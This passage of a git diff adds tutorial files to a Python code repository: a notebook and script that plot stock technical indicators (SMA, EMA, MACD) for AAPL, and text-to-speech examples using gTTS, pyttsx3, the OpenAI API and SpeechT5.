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\n"
+     },
+     "metadata": {
+      "needs_background": "light"
+     }
+    }
+   ],
+   "source": [
+    "plt.plot(stocks[\"macd\"], color=\"b\", label=\"MACD\")\n",
+    "plt.plot(stocks[\"macds\"], color=\"g\", label=\"Signal Line\")\n",
+    "plt.legend(loc=\"lower right\")\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": []
+  }
+ ]
+}
\ No newline at end of file
diff --git a/machine-learning/technical-indicators/technical_indicators.py b/machine-learning/technical-indicators/technical_indicators.py
new file mode 100644
index 00000000..d95c0328
--- /dev/null
+++ b/machine-learning/technical-indicators/technical_indicators.py
@@ -0,0 +1,71 @@
+# To add a new cell, type '# %%'
+# To add a new markdown cell, type '# %% [markdown]'
+
+# %%
+import yfinance as yf
+import pandas_datareader as pdr
+from mpl_finance import candlestick_ohlc
+import matplotlib.pyplot as plt
+
+
+# %%
+# import SPY stock price
+df_spy = pdr.get_data_yahoo("SPY", start="2019-01-01", end="2019-09-30")
+# import AAPL stock price
+df_aapl = pdr.get_data_yahoo("AAPL", start="2019-01-01", end="2019-09-30")
+
+
+# %%
+df_spy.head()
+
+
+# %%
+df_aapl[["Open", "High", "Low", "Close"]].plot()
+plt.show()
+
+
+# %%
+fig = plt.figure(figsize=(10, 10))
+ax = plt.subplot()
+
+plot_data = []
+for i in range(150, len(df_aapl)):
+    row = [
+        i, 
+        df_aapl.Open.iloc[i], 
+        df_aapl.High.iloc[i], 
+        df_aapl.Low.iloc[i], 
+        df_aapl.Close.iloc[i], 
+    ]
+    plot_data.append(row)
+candlestick_ohlc(ax, plot_data)
+plt.show()
+
+
+# %%
+from stockstats import StockDataFrame
+stocks = StockDataFrame.retype(df_aapl[["Open", "Close", "High", "Low", "Volume"]])
+
+
+# %%
+plt.plot(stocks["close_10_sma"], color="b", label="SMA")
+plt.plot(df_aapl.Close, color="g", label="Close prices")
+plt.legend(loc="lower right")
+plt.show()
+
+
+# %%
+plt.plot(stocks["close_10_sma"], color="b", label="SMA") # plotting SMA
+plt.plot(stocks["close_10_ema"], color="k", label="EMA")
+plt.plot(df_aapl.Close, color="g", label="Close prices") # plotting close prices
+plt.legend(loc="lower right")
+plt.show()
+
+
+# %%
+plt.plot(stocks["macd"], color="b", label="MACD")
+plt.plot(stocks["macds"], color="g", label="Signal Line")
+plt.legend(loc="lower right")
+plt.show()
+
+
diff --git a/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3
new file mode 100644
index 00000000..45d11628
Binary files /dev/null and b/machine-learning/text-to-speech/6799-In-his-miracle-year,-he-published.mp3 differ
diff --git a/machine-learning/text-to-speech/README.md b/machine-learning/text-to-speech/README.md
new file mode 100644
index 00000000..4786b024
--- /dev/null
+++ b/machine-learning/text-to-speech/README.md
@@ -0,0 +1,6 @@
+# [How to Convert Text to Speech in Python](https://www.thepythoncode.com/article/convert-text-to-speech-in-python)
+- `pip3 install -r requirements.txt`
+- To convert text to speech online using Google API, use `tts_google.py`
+- To use offline engines in your platform, consider using `tts_pyttsx3.py`
+- To use the OpenAI API, use `tts_openai.py`
+- To use transformers, use `tts_transformers.py`
diff --git a/machine-learning/text-to-speech/hello.mp3 b/machine-learning/text-to-speech/hello.mp3
new file mode 100644
index 00000000..5cef735b
Binary files /dev/null and b/machine-learning/text-to-speech/hello.mp3 differ
diff --git a/machine-learning/text-to-speech/hola.mp3 b/machine-learning/text-to-speech/hola.mp3
new file mode 100644
index 00000000..eb49e3ab
Binary files /dev/null and b/machine-learning/text-to-speech/hola.mp3 differ
diff --git a/machine-learning/text-to-speech/python.mp3 b/machine-learning/text-to-speech/python.mp3
new file mode 100644
index 00000000..78632e8b
Binary files /dev/null and b/machine-learning/text-to-speech/python.mp3 differ
diff --git a/machine-learning/text-to-speech/requirements.txt b/machine-learning/text-to-speech/requirements.txt
new file mode 100644
index 00000000..7c4e99dd
--- /dev/null
+++ b/machine-learning/text-to-speech/requirements.txt
@@ -0,0 +1,8 @@
+pyttsx3
+gTTS
+playsound
+soundfile
+transformers
+datasets
+sentencepiece
+openai
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/tts_google.py b/machine-learning/text-to-speech/tts_google.py
new file mode 100644
index 00000000..06b23337
--- /dev/null
+++ b/machine-learning/text-to-speech/tts_google.py
@@ -0,0 +1,17 @@
+import gtts
+from playsound import playsound
+
+# make request to google to get synthesis
+tts = gtts.gTTS("Hello world")
+# save the audio file
+tts.save("hello.mp3")
+# play the audio file
+playsound("hello.mp3")
+
+# in spanish
+tts = gtts.gTTS("Hola Mundo", lang="es")
+tts.save("hola.mp3")
+playsound("hola.mp3")
+
+# all available languages along with their IETF tag
+print(gtts.lang.tts_langs())
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/tts_openai.py b/machine-learning/text-to-speech/tts_openai.py
new file mode 100644
index 00000000..2087fea6
--- /dev/null
+++ b/machine-learning/text-to-speech/tts_openai.py
@@ -0,0 +1,20 @@
+from openai import OpenAI
+
+# initialize the OpenAI API client
+api_key = "YOUR_OPENAI_API_KEY"
+client = OpenAI(api_key=api_key)
+
+# sample text to generate speech from
+text = """In his miracle year, he published four groundbreaking papers. 
+These outlined the theory of the photoelectric effect, explained Brownian motion, 
+introduced special relativity, and demonstrated mass-energy equivalence."""
+
+# generate speech from the text
+response = client.audio.speech.create(
+    model="tts-1", # the model to use, there is tts-1 and tts-1-hd
+    voice="nova", # the voice to use, there is alloy, echo, fable, onyx, nova, and shimmer
+    input=text, # the text to generate speech from
+    speed=1.0, # the speed of the generated speech, ranging from 0.25 to 4.0
+)
+# save the generated speech to a file
+response.stream_to_file("openai-output.mp3")
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/tts_pyttsx3.py b/machine-learning/text-to-speech/tts_pyttsx3.py
new file mode 100644
index 00000000..c3591e85
--- /dev/null
+++ b/machine-learning/text-to-speech/tts_pyttsx3.py
@@ -0,0 +1,36 @@
+import pyttsx3
+
+# initialize Text-to-speech engine
+engine = pyttsx3.init()
+
+# convert this text to speech
+text = "Python is a great programming language"
+engine.say(text)
+# play the speech
+engine.runAndWait()
+
+# get details of speaking rate
+rate = engine.getProperty("rate")
+print(rate)
+
+# setting new voice rate (faster)
+engine.setProperty("rate", 300)
+engine.say(text)
+engine.runAndWait()
+
+# slower
+engine.setProperty("rate", 100)
+engine.say(text)
+engine.runAndWait()
+
+# get details of all voices available
+voices = engine.getProperty("voices")
+print(voices)
+# set another voice
+engine.setProperty("voice", voices[1].id)
+engine.say(text)
+engine.runAndWait()
+
+# saving speech audio into a file
+engine.save_to_file(text, "python.mp3")
+engine.runAndWait()
\ No newline at end of file
diff --git a/machine-learning/text-to-speech/tts_transformers.py b/machine-learning/text-to-speech/tts_transformers.py
new file mode 100644
index 00000000..8ba6414e
--- /dev/null
+++ b/machine-learning/text-to-speech/tts_transformers.py
@@ -0,0 +1,67 @@
+from transformers import SpeechT5Processor, SpeechT5ForTextToSpeech, SpeechT5HifiGan
+from datasets import load_dataset
+import torch
+import random
+import string
+import soundfile as sf
+
+device = "cuda" if torch.cuda.is_available() else "cpu"
+# load the processor
+processor = SpeechT5Processor.from_pretrained("microsoft/speecht5_tts")
+# load the model
+model = SpeechT5ForTextToSpeech.from_pretrained("microsoft/speecht5_tts").to(device)
+# load the vocoder, that is the voice encoder
+vocoder = SpeechT5HifiGan.from_pretrained("microsoft/speecht5_hifigan").to(device)
+# we load this dataset to get the speaker embeddings
+embeddings_dataset = load_dataset("Matthijs/cmu-arctic-xvectors", split="validation")
+
+# speaker ids from the embeddings dataset
+speakers = {
+    'awb': 0,     # Scottish male
+    'bdl': 1138,  # US male
+    'clb': 2271,  # US female
+    'jmk': 3403,  # Canadian male
+    'ksp': 4535,  # Indian male
+    'rms': 5667,  # US male
+    'slt': 6799   # US female
+}
+
